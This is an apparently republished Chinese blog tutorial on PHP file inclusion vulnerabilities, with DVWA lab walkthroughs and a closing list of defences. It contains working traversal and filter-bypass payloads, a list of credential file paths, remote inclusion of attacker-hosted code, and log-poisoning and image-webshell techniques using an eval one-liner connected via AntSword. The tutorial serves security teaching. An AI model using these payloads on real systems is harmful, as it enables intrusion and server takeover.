【网络安全的神秘世界】文件包含漏洞

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、概述

文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再次编写

程序开发人员希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,造成文件包含漏洞

在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入

【包含】:加载和解析

二、分类

1️⃣本地文件包含

  • 用户对输入可控且无过滤
  • 可以利用相对路径或绝对路径读取系统
1、绝对路径
从根目录开始的完整路径2、相对路径
相对于当前工作目录的路径3、什么情况下使用相对路径?
在网页开发中

2️⃣远程文件包含

需要php.ini开启了allow_url_fopen和allow_url_include的配置,包含的文件是第三方服务器的文件

  • allow_url_fopen=on:(默认为on)允许从远程服务器或者网站检索数据
  • allow_url_include=on:(php 5.2之后默认为off)允许include/require远程文件

3️⃣远程与本地包含的区别

原理相同,但前者只能包含本地服务器上的文件,而后者可以包含远程服务器上的文件

三、php中的四种文件包含函数

require()
include()require_once()
include_once()

include:在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require:出现错误的时候,会直接报错并退出程序的执行

require_once()和include_once(),与前两个的不同之处在于只包含一次

四、常见的参数

URL中如果出现了如下内容就可能存在文件包含漏洞

?page=
?file=
?home=

五、常见的敏感信息路径

windows系统

c:\boot.ini //查看系统版本C:\windows\repaire\sam //存储windows系统初次安装的密码c:\programFiles\mysql\my.ini //MySQL配置文件,内置root密码c:\windows\php.ini //PHP配置文件c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件

Linux/Unix系统

/etc/passwd //账户信息/etc/shadow //账户密码文件/usr/local/app/apache2/conf/http.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置/usr/local/app/php5/lib/php.ini //PHP配置文件/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //mySQL配置文件

六、如何发现文件包含漏洞

1、观察URL链接是否包括以下类似的关键字:**page/include/path/file/link/url **等,如果有则可能存在文件包含漏洞

2、观察在URL中,出现的赋值参数=后的内容是否为一个文件,如果是则可能存在文件包含漏洞

3、在关键字处或明显被文件赋值的参数处,尝试进行赋值。如:https://www.baidu.com 或 /etc/passwd

4、配合文件上传漏洞进行验证

七、DVWA演示

1、Low

file include模块,可以注意到有file1.php,file2.php,file3.php三个文件

在这里插入图片描述

查看源代码

在这里插入图片描述

尝试获取服务器上的文件内容,输入…/…/…/…/…/etc/passwd(多少个…/都行,越多越好)

…/返回上级目录,当返回到根目录时再…/还是根目录

在这里插入图片描述

2、Medium

查看源码发现,通过str_replace()进行了过滤

在这里插入图片描述

双写绕过

..../..../....etc/passwd
..././..././etc/passwd

在这里插入图片描述

3、High

限制‘了page参数的开头必须是file或include.php

在这里插入图片描述

fnmatch()函数根据指定的模式来匹配文件名或字符串语法:
fnmatch(pattern,string,flags)pattern 必需,规定要检索的模式
string  必须,规定要检查的字符串或文件
flags   可选

可以用file://协议进行绕过

http://127.0.0.1/vulnerabilities/fi/?page=file:///etc/passwd

也可以上传一个有一句话木马的文件,叫:file5.php,再通过文件包含内容包含file5.php

4、Impossible

不存在漏洞,因为写了白名单,其他文件都不可能包含

在这里插入图片描述

八、远程文件包含

远程文件包含是指包含第三方服务器上的文件

此处我们使用DVWA的文件包含漏洞包含Upload-Loads中的文件

DVWA:靶机                        172.17.0.2 --> http://10.0.0.158:8089Upload-labs:攻击者自己搭建的服务器  172.17.0.3 --> http://10.0.0.158:8088

同一台服务器,开放了不同的端口对外进行服务,因为底层是同一台服务器,所以不算远程文件包含

为什么上面这种情况还算远程文件?——因为这个ip是经过映射后的地址

通过 ip a 命令查看真实IP

DVWA IP: 172.17.0.2

在这里插入图片描述

Upload-Labs IP: 172.17.0.3

在这里插入图片描述

把DVWA的安全级别改为【LOW】

在这里插入图片描述

新建一句话木马文件info.php

在这里插入图片描述

upload-labs靶场禁用js后上传info.txt一句话木马脚本

在这里插入图片描述

在这里插入图片描述

粘贴图像连接后访问

在这里插入图片描述

打开DVWA靶场的【File Inclusion】模块,访问:

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.php

实际上这个时候包含的是info.php被解析后的结果了也就是upload的php版本信息,可我们想要的是dvwa的php版本信息

在这里插入图片描述

在这里插入图片描述

我们重新上传info.php把后缀名改为txt

在这里插入图片描述

在这里插入图片描述

右击——>新建标签页打开图像,查看

在这里插入图片描述

再去DVWA靶场访问就会解析dvwa靶场的phpinfo信息

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.txt

在这里插入图片描述

也可以通过蚁剑进行连接

在这里插入图片描述

F12打开控制台,获取cookie

在这里插入图片描述

打开蚁剑,填写dvwa靶场链接

在这里插入图片描述

设置cookie值,测试一下,成功

在这里插入图片描述

九、文件包含getshell

1、中间件日志包含绕过

网站本身没有上传点,又有安全设备,就可以使用中间件日志包含绕过

在url后面添加一句话木马,无论访问是否成功,网站的web日志会记录下来

DVWA中,apache2日志文件路径为:/var/log/apache2.access.log

包含日志文件,需要先对文件和目录添加访问权限,让web端有权限去访问

root@c1f28c3146d7# chmod 755 /var/log/apache2
root@c1f28c3146d7# chmod 644 access.log

修改完权限后,访问

http://10.0.0.158:8089/vulnerabilities/fi/?page=<?php phpinfo();?>

查看日志文件,发现一句话木马被浏览器进行url编码了

cd /var/log/apache2
tail access.log

在这里插入图片描述

使用burp抓包进行修改,将编码字符改为原字符后放包

在这里插入图片描述

再次查看日志,写入了完整的一句话木马

在这里插入图片描述

去前端dvwa靶场,包含这个日志文件

http://10.0.0.158:8089/vulnerabilities/fi/?page=/var/log/apache2/access.log

在这里插入图片描述

之后使用同样的方式写入一句话木马<?php @eval($_POST['a']);?>后,用蚁剑进行连接

用蚁剑连接时需要加上cookie

在这里插入图片描述

2、配合文件上传getshell

攻击思路:

1、制作图片马
2、上传图片马
3、以文件包含漏洞来执行图片的php代码

在dvwa的File Upload模块上传图片码,上传成功,获得上传路径

在这里插入图片描述

利用文件包含访问图片码,直接在URL page=后面输入返回的上传路径即可

在这里插入图片描述

使用蚁剑进行连接,输入地址:

10.0.0.158:8089/vulnerabilities/fi/?page=../../hackable/uploads/1.png

由于文件包含需要登录DVWA,在未登录的状态下,会导致连接不成功,可以直接把已经登录的Cookie信息在编辑shell配置添加到Header头里,这样就可以了

在已经登录DVWA页面,按F12键,获取Cookie

在这里插入图片描述

连接成功!

在这里插入图片描述

十、文件包含漏洞防御

1、设置白名单

2、过滤危险字符(…/、http)

3、设置文件目录权限

4、关闭危险配置(设置allow_url_include和allow_url_fopen为关闭)

5、严格检查include类的文件包含函数中的参数是否外界可控

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3267858.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

使用代理IP进行本地SEO优化:如何吸引附近的客户?

在今天竞争激烈的互联网时代&#xff0c;如何利用代理IP进行本地SEO优化并吸引附近的客户已经成为许多企业和网站面临的关键挑战。本文将探讨使用代理IP的策略和技巧&#xff0c;以帮助公司提高在本地市场的可见性和吸引力&#xff0c;从而扩大本地客户群体。 1. 代理IP在本地…

打卡第24天------回溯算法

表达一下自己每天的刷题想法。希望我刷完代码随想录,自己的进步能有大幅度的提升。 一、复原IP地址 leetcode题目链接:93.复原IP地址 题目描述: 给定一个只包含数字的字符串 s ,用以表示一个 IP 地址,返回所有可能的有效 IP 地址,这些地址可以通过在 s 中插入 . 来形成。…

Blackbox AI-跨时代AI产物,你的私人编程助手

1. 引言 随着人工智能技术的飞速发展&#xff0c;我们的生活方式正在经历前所未有的变革。从智能家居到自动驾驶&#xff0c;AI已经渗透到我们生活的方方面面。而在这场科技革命中&#xff0c;Blackbox 网站凭借其先进的技术和全面的功能&#xff0c;成为了众多AI产品中的佼佼者…

ubuntu一些好用的开发工具及其配置

1 终端模糊搜索fzf https://github.com/junegunn/fzf 输入某命令&#xff0c;比如 conda &#xff0c;按下ctrlR&#xff0c;会显示和该命令匹配的历史命令的列表 有了这个工具再也不用记忆太复杂的命令&#xff0c;只需要知道大概几个单词&#xff0c;输入即可搜索。 其搜索…

基于SVPWM的霍尔传感器FOC实现过程

FOC算法笔记 起源&#xff1a;使用ST WorkBench配置的HALL BLDC控制算法抖动严重。 ST的电机控制算法&#xff0c;代码非常高端大气&#xff0c;值得学习。 HAL库与LL库混用&#xff0c;效率很高。很多中断回调都直接重写了&#xff0c;没有使用HAL库那一套。 只是好多地方…

JavaScript关键词

JavaScript 关键词 JavaScript 语句常常通过某个关键词来标识需要执行的 JavaScript 动作。 下面的表格列出了一部分将在教程中学到的关键词&#xff1a; 关键词 描述 break 终止 switch 或循环。 continue 跳出循环并在顶端开始。 debugger 停止执行 JavaScript&…

matplotlib 画图函数,最常用的

并排显示2个图片 import os import numpy as np from PIL import Image import matplotlib.pyplot as pltimage1 Image.open(a.png) image2 Image.open(a2.png)# Create a figure with two subplots (1 row, 2 columns) fig, axes plt.subplots(1, 2, figsize(10, 5))# Di…

双非二本毕业生如何进入嵌入式系统领域?

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01; 二本的话学历上会吃点亏…

docker Docs相关使用文档链接

Docker Docshttps://docs.docker.com/ docker compose | Docker Docshttps://docs.docker.com/reference/cli/docker/compose/docker | Docker Docshttps://docs.docker.com/reference/cli/docker/

axios请求大全

本文讲解axios封装方式以及针对各种后台接口的请求方式 axios的介绍和基础配置可以看这个文档: 起步 | Axios中文文档 | Axios中文网 axios的封装 axios封装的重点有三个&#xff0c;一是设置全局config,比如请求的基础路径&#xff0c;超时时间等&#xff0c;第二点是在每次…

MySQL零散拾遗(四)--- 使用聚合函数时需要注意的点点滴滴

聚合函数 聚合函数作用于一组数据&#xff0c;并对一组数据返回一个值。 常见的聚合函数&#xff1a;SUM()、MAX()、MIN()、AVG()、COUNT() 对COUNT()聚合函数的更深一层理解 COUNT函数的作用&#xff1a;计算指定字段在查询结果中出现的个数&#xff08;不包含NULL值&#…

PostgreSQL 中如何重置序列值:将自增 ID 设定为特定值开始

我是从excel中将数据导入&#xff0c;然后再通过sql插入数据&#xff0c;就报错。 需要设置自增ID开始值 1、确定序列名称&#xff1a; 首先&#xff0c;需要找到与的增字段相关的序列名称。假设表名是 my_table 和自增字段是 id&#xff0c;可以使用以下查询来获取序列名称…

H264编码标准环路滤波原理

方块效应产生原因 原因 1&#xff1a;最重要的一个原因是基于块的帧内和帧间预测残差的 DCT 变换。变换系数的量化过程相对粗糙&#xff0c;因而反量化过程恢复的变换系数带有误差&#xff0c;会造成在图像块边界上的视觉不连续。原因 2&#xff1a;其次原因自于运动补偿预测。…

元素标签的attr属性的巧妙利用(值得收藏)

前言 需求如图&#xff1a; 虽然可以通过一个标签&#xff0c;直接赋值&#xff0c;然后通过定位也能实现需求;但是另一种方式更巧妙&#xff0c;有时候可以通过少量代码实现多样的需求&#xff0c;把一个元素展示在盒子上的方法&#xff0c;通过使用元素的attr属性&#xf…

【漏洞复现】APP分发签名系统index-uplog.php存在任意文件上传漏洞

漏洞描述 APP分发签名系统index-uplog.php存在任意文件上传漏洞 免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵…

刷题了:232.用栈实现队列| 225. 用队列实现栈 |20. 有效的括号 | 1047. 删除字符串中的所有相邻重复项

232.用栈实现队列 题目链接:https://leetcode.cn/problems/implement-queue-using-stacks/description/ 文章讲解:https://programmercarl.com/0232.%E7%94%A8%E6%A0%88%E5%AE%9E%E7%8E%B0%E9%98%9F%E5%88%97.html 视频讲解:https://www.bilibili.com/video/BV1nY4y1w7VC/?sp…

[Meachines] Lame smbd3.0-RCE

信息收集 IP AddressOpening Ports10.10.10.3TCP:21,22,139,445,3632 $ nmap -p- 10.10.10.3 --min-rate 1000 -sC -sV 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | …

k8s v1.30 完整安装过程及CNI安装过程总结

博主未授权任何人或组织机构转载博主任何原创文章&#xff0c;感谢各位对原创的支持&#xff01; 博主链接 本人就职于国际知名终端厂商&#xff0c;负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作&#xff0c;目前牵头6G技术研究。 博客内容主要围绕…

union的特性和大小端

一、union在c和c语言中的特性 1.共享内存空间&#xff1a;union的所有成员共享同一块内存空间。意味着在同一时刻&#xff0c;union 只能存储其成员 中的一个值。当你修改了union中的一个成员&#xff0c;那么其它成员的值也会被改变&#xff0c;因为它们实际上都是指向同一块…

【Blockly图形化积木编程二次开发学习笔记】5.自动保存与恢复

文章目录 引用使用 引用 <script src"./blockly/appengine/storage.js"></script>使用 <script>window.setTimeout(BlocklyStorage.restoreBlocks, 0); // 从本地存储中恢复块BlocklyStorage.backupOnUnload(); // 用户离开页面时自动将块备份到…